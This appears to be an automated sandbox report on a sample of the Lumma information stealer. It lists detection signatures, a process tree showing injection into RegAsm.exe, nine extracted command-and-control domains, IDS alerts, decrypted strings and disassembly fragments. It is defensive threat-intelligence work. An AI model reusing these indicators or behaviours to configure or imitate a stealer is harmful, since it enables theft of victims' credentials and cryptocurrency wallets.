Edit tour

Windows Analysis Report
a7HdB2dU5P.exe

Overview

General Information

Sample name:	a7HdB2dU5P.exe renamed because original name is a hash value
Original sample name:	ec5818decca5d6703e23c9db8a772997.exe
Analysis ID:	1519281
MD5:	ec5818decca5d6703e23c9db8a772997
SHA1:	daeca7f333cedb461891a3fa4be6a857df452b59
SHA256:	2da667c881a6b5f4b773c932bcbb6825fda5a85a38bfb51e06921cb88c353f3b
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Injects a PE file into a foreign processes

LummaC encrypted strings found

Sample uses string decryption to hide its real strings

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

a7HdB2dU5P.exe (PID: 7160 cmdline: "C:\Users\user\Desktop\a7HdB2dU5P.exe" MD5: EC5818DECCA5D6703E23C9DB8A772997)

conhost.exe (PID: 6456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6596 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["reinforcenh.shop", "offensivedzvju.shop", "fragnantbui.shop", "lootebarrkeyn.shop", "stogeneratmns.shop", "ghostreedmnu.shop", "drawzhotdog.shop", "vozmeatillu.shop", "gutterydhowi.shop"], "Build id": "FATE99--"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:07.786343+0200	2054653	1	A Network Trojan was detected	192.168.2.4	58440	104.21.4.136	443	TCP
2024-09-26T09:52:08.769507+0200	2054653	1	A Network Trojan was detected	192.168.2.4	58441	188.114.97.3	443	TCP
2024-09-26T09:52:09.681716+0200	2054653	1	A Network Trojan was detected	192.168.2.4	58442	188.114.96.3	443	TCP
2024-09-26T09:52:10.618108+0200	2054653	1	A Network Trojan was detected	192.168.2.4	58443	188.114.96.3	443	TCP
2024-09-26T09:52:11.567762+0200	2054653	1	A Network Trojan was detected	192.168.2.4	58444	104.21.58.182	443	TCP
2024-09-26T09:52:12.512577+0200	2054653	1	A Network Trojan was detected	192.168.2.4	58445	188.114.97.3	443	TCP
2024-09-26T09:52:13.467807+0200	2054653	1	A Network Trojan was detected	192.168.2.4	58446	188.114.96.3	443	TCP
2024-09-26T09:52:14.417603+0200	2054653	1	A Network Trojan was detected	192.168.2.4	58447	104.21.77.130	443	TCP
2024-09-26T09:52:16.841999+0200	2054653	1	A Network Trojan was detected	192.168.2.4	58449	172.67.189.2	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:07.786343+0200	2049836	1	A Network Trojan was detected	192.168.2.4	58440	104.21.4.136	443	TCP
2024-09-26T09:52:08.769507+0200	2049836	1	A Network Trojan was detected	192.168.2.4	58441	188.114.97.3	443	TCP
2024-09-26T09:52:09.681716+0200	2049836	1	A Network Trojan was detected	192.168.2.4	58442	188.114.96.3	443	TCP
2024-09-26T09:52:10.618108+0200	2049836	1	A Network Trojan was detected	192.168.2.4	58443	188.114.96.3	443	TCP
2024-09-26T09:52:11.567762+0200	2049836	1	A Network Trojan was detected	192.168.2.4	58444	104.21.58.182	443	TCP
2024-09-26T09:52:12.512577+0200	2049836	1	A Network Trojan was detected	192.168.2.4	58445	188.114.97.3	443	TCP
2024-09-26T09:52:13.467807+0200	2049836	1	A Network Trojan was detected	192.168.2.4	58446	188.114.96.3	443	TCP
2024-09-26T09:52:14.417603+0200	2049836	1	A Network Trojan was detected	192.168.2.4	58447	104.21.77.130	443	TCP
2024-09-26T09:52:16.841999+0200	2049836	1	A Network Trojan was detected	192.168.2.4	58449	172.67.189.2	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:11.097484+0200	2056157	1	Domain Observed Used for C2 Detected	192.168.2.4	58444	104.21.58.182	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:12.055505+0200	2056155	1	Domain Observed Used for C2 Detected	192.168.2.4	58445	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:08.270066+0200	2056163	1	Domain Observed Used for C2 Detected	192.168.2.4	58441	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:07.234560+0200	2056165	1	Domain Observed Used for C2 Detected	192.168.2.4	58440	104.21.4.136	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:09.259590+0200	2056161	1	Domain Observed Used for C2 Detected	192.168.2.4	58442	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:13.943312+0200	2056151	1	Domain Observed Used for C2 Detected	192.168.2.4	58447	104.21.77.130	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:12.996046+0200	2056153	1	Domain Observed Used for C2 Detected	192.168.2.4	58446	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:10.172268+0200	2056159	1	Domain Observed Used for C2 Detected	192.168.2.4	58443	188.114.96.3	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:10.620207+0200	2056156	1	Domain Observed Used for C2 Detected	192.168.2.4	64598	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:11.569455+0200	2056154	1	Domain Observed Used for C2 Detected	192.168.2.4	53726	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:07.792672+0200	2056162	1	Domain Observed Used for C2 Detected	192.168.2.4	52810	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:06.724512+0200	2056164	1	Domain Observed Used for C2 Detected	192.168.2.4	60602	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lootebarrkeyn .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:06.643740+0200	2056048	1	Domain Observed Used for C2 Detected	192.168.2.4	63148	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:08.773382+0200	2056160	1	Domain Observed Used for C2 Detected	192.168.2.4	60842	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:13.469353+0200	2056150	1	Domain Observed Used for C2 Detected	192.168.2.4	64447	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:12.513950+0200	2056152	1	Domain Observed Used for C2 Detected	192.168.2.4	53338	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T09:52:09.685196+0200	2056158	1	Domain Observed Used for C2 Detected	192.168.2.4	55892	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://drawzhotdog.shop/api	Avira URL Cloud: Label: malware
Source: https://gutterydhowi.shop/api	Avira URL Cloud: Label: malware
Source: stogeneratmns.shop	Avira URL Cloud: Label: malware
Source: https://performenj.shop/vo	Avira URL Cloud: Label: malware
Source: https://offensivedzvju.shop/	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: lootebarrkeyn.shop	Avira URL Cloud: Label: malware
Source: reinforcenh.shop	Avira URL Cloud: Label: malware
Source: https://performenj.shop/apiG	Avira URL Cloud: Label: malware
Source: https://drawzhotdog.shop/	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware
Source: https://reinforcenh.shop/api2	Avira URL Cloud: Label: malware
Source: ghostreedmnu.shop	Avira URL Cloud: Label: malware
Source: https://reinforcenh.shop/api	Avira URL Cloud: Label: malware
Source: https://reinforcenh.shop/	Avira URL Cloud: Label: malware
Source: https://performenj.shop/	Avira URL Cloud: Label: malware
Source: https://vozmeatillu.shop/api	Avira URL Cloud: Label: malware
Source: https://stogeneratmns.shop/api	Avira URL Cloud: Label: malware
Source: https://vozmeatillu.shop/Y	Avira URL Cloud: Label: malware
Source: gutterydhowi.shop	Avira URL Cloud: Label: malware
Source: fragnantbui.shop	Avira URL Cloud: Label: malware
Source: https://ghostreedmnu.shop/api	Avira URL Cloud: Label: malware
Source: https://fragnantbui.shop/api	Avira URL Cloud: Label: malware
Source: https://stogeneratmns.shop/apiD	Avira URL Cloud: Label: malware
Source: https://offensivedzvju.shop/api	Avira URL Cloud: Label: malware
Source: https://performenj.shop/G	Avira URL Cloud: Label: malware
Source: offensivedzvju.shop	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/badges	URL Reputation: Label: malware
Source: https://performenj.shop/api	Avira URL Cloud: Label: malware
Source: drawzhotdog.shop	Avira URL Cloud: Label: malware
Source: vozmeatillu.shop	Avira URL Cloud: Label: malware

Found malware configuration

Source: 2.2.RegAsm.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["reinforcenh.shop", "offensivedzvju.shop", "fragnantbui.shop", "lootebarrkeyn.shop", "stogeneratmns.shop", "ghostreedmnu.shop", "drawzhotdog.shop", "vozmeatillu.shop", "gutterydhowi.shop"], "Build id": "FATE99--"}

Multi AV Scanner detection for submitted file

Source: a7HdB2dU5P.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Sample uses string decryption to hide its real strings

Source: 2.2.RegAsm.exe.400000.0.unpack	String decryptor: reinforcenh.shop
Source: 2.2.RegAsm.exe.400000.0.unpack	String decryptor: stogeneratmns.shop
Source: 2.2.RegAsm.exe.400000.0.unpack	String decryptor: fragnantbui.shop
Source: 2.2.RegAsm.exe.400000.0.unpack	String decryptor: drawzhotdog.shop
Source: 2.2.RegAsm.exe.400000.0.unpack	String decryptor: vozmeatillu.shop
Source: 2.2.RegAsm.exe.400000.0.unpack	String decryptor: offensivedzvju.shop
Source: 2.2.RegAsm.exe.400000.0.unpack	String decryptor: ghostreedmnu.shop
Source: 2.2.RegAsm.exe.400000.0.unpack	String decryptor: gutterydhowi.shop
Source: 2.2.RegAsm.exe.400000.0.unpack	String decryptor: lootebarrkeyn.shop
Source: 2.2.RegAsm.exe.400000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 2.2.RegAsm.exe.400000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 2.2.RegAsm.exe.400000.0.unpack	String decryptor: - Screen Resoluton:
Source: 2.2.RegAsm.exe.400000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 2.2.RegAsm.exe.400000.0.unpack	String decryptor: Workgroup: -
Source: 2.2.RegAsm.exe.400000.0.unpack	String decryptor: FATE99--

Source: a7HdB2dU5P.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.4.136:443 -> 192.168.2.4:58440 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58441 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:58442 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:58443 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.58.182:443 -> 192.168.2.4:58444 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58445 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:58446 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.130:443 -> 192.168.2.4:58447 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:58448 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.2:443 -> 192.168.2.4:58449 version: TLS 1.2

Source: a7HdB2dU5P.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_00447600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0044A7E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+1Ch]	2_2_0040FEBC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then xor eax, eax	2_2_0040EFFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000120h]	2_2_0040EFFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then push ebx	2_2_00415078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+34h]	2_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	2_2_004450E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_004340F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_004340F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edi, byte ptr [eax+esi]	2_2_00407120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0042A274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [edx], ax	2_2_0042A274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	2_2_0040D2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0042A2F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [edx], ax	2_2_0042A2F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	2_2_00442280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0042A345
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [edx], ax	2_2_0042A345
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	2_2_0042A345
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	2_2_00431370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, eax	2_2_0040A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebp, eax	2_2_0040A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], CECD21FDh	2_2_0042C390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], CECD21FDh	2_2_0042C390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0633C81Dh	2_2_00449390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	2_2_00449390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	2_2_00424490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	2_2_004204A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_004204A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, esi	2_2_0042D56C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_0043B510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, esi	2_2_0042D58E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	2_2_0042F5B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi]	2_2_004146B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+eax]	2_2_0040F7E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	2_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], cl	2_2_004327B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	2_2_0041A880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp al, 2Eh	2_2_0042C891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then xor eax, eax	2_2_0042C891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1B788DCFh	2_2_00444970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 54CA534Eh	2_2_004489F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_00434A2F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0633C81Dh	2_2_00445AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi]	2_2_00413AE6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, ecx	2_2_00413AE6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	2_2_00413AE6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	2_2_0042BB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp edx	2_2_00427B0F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_00430BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	2_2_00448BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	2_2_0044AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	2_2_00404C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	2_2_00426CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then add edi, 02h	2_2_0041DD64
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebx]	2_2_0041DD64
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	2_2_00405D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_00434DF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	2_2_00445D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	2_2_0044AD90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	2_2_00449E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	2_2_00414E26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then xor eax, eax	2_2_00414E26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	2_2_00447EDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	2_2_0044AF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 81105F7Ah	2_2_0044AF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00426F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	2_2_0041CFF0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056162 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop) : 192.168.2.4:52810 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056160 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop) : 192.168.2.4:60842 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056154 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop) : 192.168.2.4:53726 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056048 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lootebarrkeyn .shop) : 192.168.2.4:63148 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056164 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop) : 192.168.2.4:60602 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056155 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI) : 192.168.2.4:58445 -> 188.114.97.3:443
